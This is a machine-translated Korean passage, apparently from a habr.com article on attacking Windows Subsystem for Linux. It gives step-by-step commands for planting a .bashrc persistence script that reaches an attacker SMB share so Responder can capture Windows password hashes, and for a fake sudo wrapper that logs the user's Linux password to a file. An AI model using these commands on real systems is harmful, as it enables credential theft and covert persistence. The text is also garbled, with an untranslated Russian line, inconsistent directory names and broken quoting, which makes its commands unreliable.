    Windows ์‹œ์Šคํ…œ์—์„œ WSL์— ๋Œ€ํ•œ ๊ถŒํ•œ ์—†๋Š” ์•ก์„ธ์Šค๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ฆฌ๋ˆ…์Šค์—์„œ ๋ช…๋ น์–ด๋ฅผ ํ˜ธ์ถœํ•ด ๋ฆฌ๋ˆ…์Šค ์šด์˜์ฒด์ œ๋ฅผ ๊ณต๊ฒฉํ•ด ๋ณด์ž. ๊ณต๊ฒฉ์„ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ์ž๋™ ์‹คํ–‰ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. Linux ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ํ•  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ ค๋ฉด ํŒŒ์ผ์„ ๋ณ€๊ฒฝํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. .bashrc.

    WSL์ด ์žˆ๋Š” ๋จธ์‹ ์—์„œ๋Š” ๋‹ค์Œ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

    	1. bash
    	2. ะŸะตั€ะตั…ะพะดะธะผ ะฒ ะดะพะผะฐัˆะฝัŽัŽ ะดะธั€ะตะบั‚ะพั€ะธัŽ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั: cd /home/sam/
    	2. echo  ยซ/home/sam/.attack.shยป >> .bashrc
    	3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux ๋จธ์‹ ์—์„œ๋Š” ๋‹ค์Œ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

    1. Responder -I eth0 -rdvw

    Windows ๋จธ์‹ ์—์„œ bash๋ฅผ ์‹คํ–‰ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

    Kali Linux ๋จธ์‹ ์—์„œ ๊ฒฐ๊ณผ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

    WSL ์‹คํ—˜. 1 ๋ถ€

    ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” Linux ์‹œ์Šคํ…œ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ WSL ํ•˜์œ„ ์‹œ์Šคํ…œ์„ ํ†ตํ•ด Windows ์‚ฌ์šฉ์ž ํ•ด์‹œ๋ฅผ ์–ป์—ˆ์Šต๋‹ˆ๋‹ค.

    WSL 1 ์‹คํ—˜: ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์–ป๊ธฐ(Linux OS)

    ํ•œ ๊ฐ€์ง€ ์‹คํ—˜์„ ๋” ํ•ด๋ณด์ž. ์ด ํ™•์ธ ๊ณผ์ •์—์„œ ํŒŒ์ผ์— ์ถ”๊ฐ€ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. .bashrc Linux ์šด์˜ ์ฒด์ œ ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๋ช…๋ น.

    Bash๋ฅผ ์‹œ์ž‘ํ•˜๊ณ  ๋‹ค์Œ ๋ช…๋ น์„ ์ž…๋ ฅํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    ๊ณต๊ฒฉ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์™„๋ฃŒํ•˜๋ ค๋ฉด ์‚ฌ์šฉ์ž Sam์ด Linux ํ„ฐ๋ฏธ๋„์—์„œ sudo๋ฅผ ํ˜ธ์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ Linux OS ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํŒŒ์ผ์— ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. pass.txt:

    WSL ์‹คํ—˜. 1 ๋ถ€

    ๊ณต๊ฒฉ์˜ ๊ตฌํ˜„์€ ์ด๋ก ์  ์ •๋ณด๋งŒ์„ ์ œ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค.

    ๊ธฐ์‚ฌ์˜ ๋‹ค์Œ ๋ถ€๋ถ„์—์„œ๋Š” 9P ํ”„๋กœํ† ์ฝœ์˜ ๊ตฌํ˜„์„ ์„ค๋ช…ํ•˜๊ณ , ์ด ํ”„๋กœํ† ์ฝœ์— ๋Œ€ํ•œ ์Šค์บ๋„ˆ ์ƒ์„ฑ์„ ๊ณ ๋ คํ•˜๊ณ , ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

    ์‚ฌ์šฉ ๋œ ๋ฌธํ—Œ ๋ชฉ๋ก

    WSL ์‹คํ—˜. 1 ๋ถ€

    ๋” ์ฝ์–ด๋ณด๊ธฐ

    ์ถœ์ฒ˜ : habr.com

    ์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€